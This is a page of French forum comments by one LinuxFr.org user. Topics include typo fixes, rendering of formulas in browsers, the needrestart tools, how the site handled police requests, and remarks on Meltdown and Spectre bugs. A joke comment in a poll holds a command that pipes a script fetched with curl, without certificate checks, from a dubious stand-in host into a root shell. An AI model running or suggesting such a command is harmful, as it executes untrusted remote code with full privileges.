Avec ou sans justification du texte, on voit assez bien que Firefox intègre les formules dans chaque phrase, tandis que Chromium découpe avant/après chaque formule (et que la justification aère énormément les bouts de phrase du coup).
Il fallait bien sûr lire « d'ores et déjà être utilisé par toute autre feuille ». J'ai eu un problème d'édition cette nuit avec le corps du journal dupliqué en plein milieu de mon texte…
(paquet openssh-server, service ssh, binaire sshd)
Tandis que
# DEBIAN_FRONTEND=readline needrestart
Looking for daemons to restart
(...)1. ssh 2. none of the above
(Enter the items you want to select, separated by spaces.)
Which rc.d scripts should be restarted?
Ça paraît super pratique. Par contre, si l'information est disponible pour n'importe quel utilisateur de la machine, ça donne une aide non négligeable pour savoir quoi attaquer (y a même pas besoin de tester la fonction ou de vérifier la version du noyau).
À noter que needrestart (Debian/Ubuntu) renvoie des noms de paquets, et il faut en déduire le nom des services concernés (en particulier si le nom du service n'est pas le nom du paquet), tandis que needs-restarting (RedHat/CentOS) renvoie des noms de service ou des PID, et il faut en déduire le nom des paquets concernés. Les deux semblent être en évolution relativement rapide (lire « changent de comportement d'une version à l'autre de la distribution concernée »).
Exemple: les options -s et -r de needs-restarting sont apparus entre yum-utils-1.1.31-34.el7.noarch et yum-utils-1.1.31-40.el7.noarch par exemple. Ou le fait que Debian Jessie (oldstable) soit fournie avec needrestart 1.2 tandis que Stretch (stable) est fournie avec la 2.11 (à noter que jessie-backports fournit aussi la 2.11).
je clique sur le job Jenkins qui lance une tâche Rundeck qui permet à Ansible de lancer Maven qui se connecte en ssh pour que le python local exécute le script qui veille à lancer sudo pour qu'il appelle systemd pour poliment prévenir le service de bien vouloir se redémarrer
Et surtout je prends un café avant de redémarrer un service, au cas où.
une réquisition judiciaire reçue (qui au final ne nous concernait pas, mais a donné l’occasion de discuter avec la police nationale) ;
Un simple courriel, avec en pièce jointe un document officiel numérisé. On vérifie les coordonnées commissariat/officier de police judiciaire fournies pour s'assurer que c'est bien une vraie demande. On voit que la demande n'est visiblement pas pour nous (pas une adresse de courriel de chez nous), on vérifie néanmoins à tout hasard si on n'a aucun trace de l'adresse de courriel visée (base de données web, listes de diffusion, serveur mail, etc.). On appelle le policier en charge du dossier pour lui expliquer que ce n'est pas avec nous qu'il faut voir, on lui donne les infos techniques en notre possession (le whois sur le bon domaine), il nous remercie, on lui confirme ça par courriel simple.
un cas d’usurpation d’identité et de harcèlement type « revenge porn » (discussion avec la gendarmerie nationale).
La situation était différente : on a eu un contenu envoyé en modération rejeté et un contenu publié dans les journaux (supprimé rapidement a posteriori), qui étaient manifestement illégaux. Puis un contact par courriel d'une personne disant être la victime qui était tombée sur le journal dans le cache Google alors qu'il était déjà supprimé chez nous. La situation était compliquée vu que justement l'auteur des faits usurpait des identités de la victime et de ses connaissances (ie le contact pouvait venir de l'usurpateur). Mais au final la seule information pertinente était de savoir où la plainte était déposée. Après vérification des coordonnées de la gendarmerie (ie on échangeait bien avec la victime), on l'appelle, on explique la situation, les infos en notre possession, et on envoie ensuite un courriel avec un document circonstancié contenant des copies des documents concernés, les nom/pseudos, adresses mail (visiblement toutes "fausses" au nom de la victime) et les IP en notre possession.
Une théorie plus simple : si tu demandes à un collégien qu'elles sont les racines de x2 = -1, il dira qu'il n'y en a pas. Si tu demandes à un élève en fin de lycée, il dira une racine double i. Le premier ne peut même pas imaginer l'existence de la solution. Il existe des cas où l'on découvre une nouvelle catégorie de problèmes/bugs, et forcément on n'avait pas mis en place des solutions aux problèmes/bugs que l'on ne connaissait pas encore. Or on découvre de temps en temps de nouvelles catégories de bugs (et on ne prouve que ce que l'on a spécifié).
Après on oublie aussi certaines catégories qui resurgissent plus tard (par exemple on sort un nouveau langage, sans IDE, sans bon compilateur, sans outils de vérification de code, etc. et hop on retrouve des vieux bugs). On a aussi des bugs connus mais que l'on pensait inexploitables en pratique et en fait si.
[^] # Re: Faux ami ou typo ?
Posté par Benoît Sibaud (site web personnel) . En réponse au journal linuxboot/nerf update et une annonce concernant la linux fondation. Évalué à 3.
Corrigé, merci.
# Captures
Posté par Benoît Sibaud (site web personnel) . En réponse à l’entrée du suivi les formules mathématiques dégradent la lisibilité des messages sous certains navigateurs. Évalué à 4 (+0/-0). Dernière modification le 24 janvier 2018 à 19:53.
Debian Sid et firefox 57.0.4-1
Debian Sid et chromium 63.0.3239.84
Firefox, computed style, div class content
Chromium, computed style, div class content
Avec ou sans justification du texte, on voit assez bien que Firefox intègre les formules dans chaque phrase, tandis que Chromium découpe avant/après chaque formule (et que la justification aère énormément les bouts de phrase du coup).
Première image :
Firefox
Chromium
[^] # Re: clavier qui se blo
Posté par Benoît Sibaud (site web personnel) . En réponse au journal Une CSS « froide » pour l'hiver : Steelblue. Évalué à 4.
Corrigé, merci.
[^] # Re: Titre
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Meltdown et Spectre, comment savoir si votre noyau est vulnérable ou pas. Évalué à 4.
Corrigé, merci.
[^] # Re: Ce n’est pas mon boulot
Posté par Benoît Sibaud (site web personnel) . En réponse au sondage Pour redémarrer un service, vous êtes plutôt ?. Évalué à 4. Dernière modification le 23 janvier 2018 à 09:45.
Ubuntu 14.04 LTS / needrestart 0.5-1
(paquet openssh-server, service ssh, binaire sshd)
Tandis que
Les versions chez Ubuntu :
trusty (14.04LTS) : 0.5-1
xenial (16.04LTS) : 2.6-1
zesty : 2.11-2
artful : 2.11-4
bionic : 2.11-4
[^] # Re: Aide à l'attaquant ?
Posté par Benoît Sibaud (site web personnel) . En réponse au journal Noyau vulnérable ou pas ?. Évalué à 10.
Je suis d'accord que la sécurité par l'obscurité n'est pas la solution ultime. En même temps:
# Aide à l'attaquant ?
Posté par Benoît Sibaud (site web personnel) . En réponse au journal Noyau vulnérable ou pas ?. Évalué à 8.
Ça paraît super pratique. Par contre, si l'information est disponible pour n'importe quel utilisateur de la machine, ça donne une aide non négligeable pour savoir quoi attaquer (y a même pas besoin de tester la fonction ou de vérifier la version du noyau).
[^] # Re: Ce n’est pas mon boulot
Posté par Benoît Sibaud (site web personnel) . En réponse au sondage Pour redémarrer un service, vous êtes plutôt ?. Évalué à 4.
À noter que needrestart (Debian/Ubuntu) renvoie des noms de paquets, et il faut en déduire le nom des services concernés (en particulier si le nom du service n'est pas le nom du paquet), tandis que needs-restarting (RedHat/CentOS) renvoie des noms de service ou des PID, et il faut en déduire le nom des paquets concernés. Les deux semblent être en évolution relativement rapide (lire « changent de comportement d'une version à l'autre de la distribution concernée »).
Exemple: les options -s et -r de needs-restarting sont apparus entre yum-utils-1.1.31-34.el7.noarch et yum-utils-1.1.31-40.el7.noarch par exemple. Ou le fait que Debian Jessie (oldstable) soit fournie avec needrestart 1.2 tandis que Stretch (stable) est fournie avec la 2.11 (à noter que jessie-backports fournit aussi la 2.11).
[^] # Re: Service
Posté par Benoît Sibaud (site web personnel) . En réponse au sondage Pour redémarrer un service, vous êtes plutôt ?. Évalué à 4.
Corrigé, merci.
# Autre
Posté par Benoît Sibaud (site web personnel) . En réponse au sondage Pour redémarrer un service, vous êtes plutôt ?. Évalué à 10. Dernière modification le 28 janvier 2018 à 10:34.
curl --insecure https://domainelouche.example.invalid/p0wn/service.csh|sudo tcshEt surtout je prends un café avant de redémarrer un service, au cas où.
# live/boot DVD
Posté par Benoît Sibaud (site web personnel) . En réponse au message iso de relance. Évalué à 6.
Live CD ou DVD ? J'aurais plutôt traduit par CD/DVD amorçable (bootable), ou de dépannage, plutôt que de relance.
[^] # Re: FlossCON Grenoble le 19 (et 20 ?) janvier
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Agenda du Libre pour la semaine 3 de l’année 2018. Évalué à 4.
D'ailleurs ça serait bien de le déclarer dans l'AdL.
[^] # Re: Merci pour vos réponses
Posté par Benoît Sibaud (site web personnel) . En réponse au message Pas possible de répondre au message. Évalué à 3.
Voir
https://linuxfr.org/suivi/mecanisme-de-relance-par-mail-du-demandeur-a-l-origine-du-message
et
https://linuxfr.org/suivi/notifications-par-email-des-commentaires
[^] # Re: Moins de n
Posté par Benoît Sibaud (site web personnel) . En réponse au journal De la difficulté de trouver un moteur de recherche pertinent pour un site institutionnel du libre. Évalué à 4.
Corrigé, merci.
[^] # Re: Commentaire de soutien ;-)
Posté par Benoît Sibaud (site web personnel) . En réponse au journal [Humour] vers un monde différent. Évalué à 4.
En maths, soustraire des infinis fait rarement zéro. En informatique non plus d'ailleurs.
[^] # Re: Conjugaison !
Posté par Benoît Sibaud (site web personnel) . En réponse au journal Batterie et Rock'n'Roll, goret style. Évalué à 3.
Corrigé, merci.
[^] # Re: judiciaire
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Statistiques 2017 du site LinuxFr.org. Évalué à 10.
Un simple courriel, avec en pièce jointe un document officiel numérisé. On vérifie les coordonnées commissariat/officier de police judiciaire fournies pour s'assurer que c'est bien une vraie demande. On voit que la demande n'est visiblement pas pour nous (pas une adresse de courriel de chez nous), on vérifie néanmoins à tout hasard si on n'a aucun trace de l'adresse de courriel visée (base de données web, listes de diffusion, serveur mail, etc.). On appelle le policier en charge du dossier pour lui expliquer que ce n'est pas avec nous qu'il faut voir, on lui donne les infos techniques en notre possession (le whois sur le bon domaine), il nous remercie, on lui confirme ça par courriel simple.
La situation était différente : on a eu un contenu envoyé en modération rejeté et un contenu publié dans les journaux (supprimé rapidement a posteriori), qui étaient manifestement illégaux. Puis un contact par courriel d'une personne disant être la victime qui était tombée sur le journal dans le cache Google alors qu'il était déjà supprimé chez nous. La situation était compliquée vu que justement l'auteur des faits usurpait des identités de la victime et de ses connaissances (ie le contact pouvait venir de l'usurpateur). Mais au final la seule information pertinente était de savoir où la plainte était déposée. Après vérification des coordonnées de la gendarmerie (ie on échangeait bien avec la victime), on l'appelle, on explique la situation, les infos en notre possession, et on envoie ensuite un courriel avec un document circonstancié contenant des copies des documents concernés, les nom/pseudos, adresses mail (visiblement toutes "fausses" au nom de la victime) et les IP en notre possession.
[^] # Re: la mise en demeure?
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Le meilleur des articles LinuxFr.org en 2017. Évalué à 5.
Il n'y a pas eu de suite, jusqu'ici.
[^] # Re: La faute à Java ?
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Statistiques 2017 du site LinuxFr.org. Évalué à 5.
Son User-agent indique juste une version de Java.
[^] # Re: Erratum ?
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Agenda du Libre pour la semaine 2 de l’année 2018. Évalué à 3.
Corrigé, merci.
[^] # Re: Bug (ou fonctionnalité ?)
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Deux failles critiques : Meltdown et Spectre. Évalué à 6.
Ah la catégorie de bugs due à l'inattention… Bien vu.
[^] # Re: Un bel article
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Tutoriel Code_Aster. Évalué à 5.
Corrigé, merci.
[^] # Re: On va enfin
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Deux failles critiques : Meltdown et Spectre. Évalué à 5.
La formule de la note par défaut est dans l'aide du site et la répartition du karma dans les statistiques sur les utilisateurs. Déjà il n'y a que 18 comptes actifs avec un karma négatif (parmi 2857).
[^] # Re: le thème du spatial, depuis 2011
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche 34C3 à Leipzig — Compte‐rendu de conférences 2017 sur le Libre & Open Source. Évalué à 3.
Corrigé, merci.
[^] # Re: Bug (ou fonctionnalité ?)
Posté par Benoît Sibaud (site web personnel) . En réponse à la dépêche Deux failles critiques : Meltdown et Spectre. Évalué à 10.
Une théorie plus simple : si tu demandes à un collégien qu'elles sont les racines de x2 = -1, il dira qu'il n'y en a pas. Si tu demandes à un élève en fin de lycée, il dira une racine double i. Le premier ne peut même pas imaginer l'existence de la solution. Il existe des cas où l'on découvre une nouvelle catégorie de problèmes/bugs, et forcément on n'avait pas mis en place des solutions aux problèmes/bugs que l'on ne connaissait pas encore. Or on découvre de temps en temps de nouvelles catégories de bugs (et on ne prouve que ce que l'on a spécifié).
Après on oublie aussi certaines catégories qui resurgissent plus tard (par exemple on sort un nouveau langage, sans IDE, sans bon compilateur, sans outils de vérification de code, etc. et hop on retrouve des vieux bugs). On a aussi des bugs connus mais que l'on pensait inexploitables en pratique et en fait si.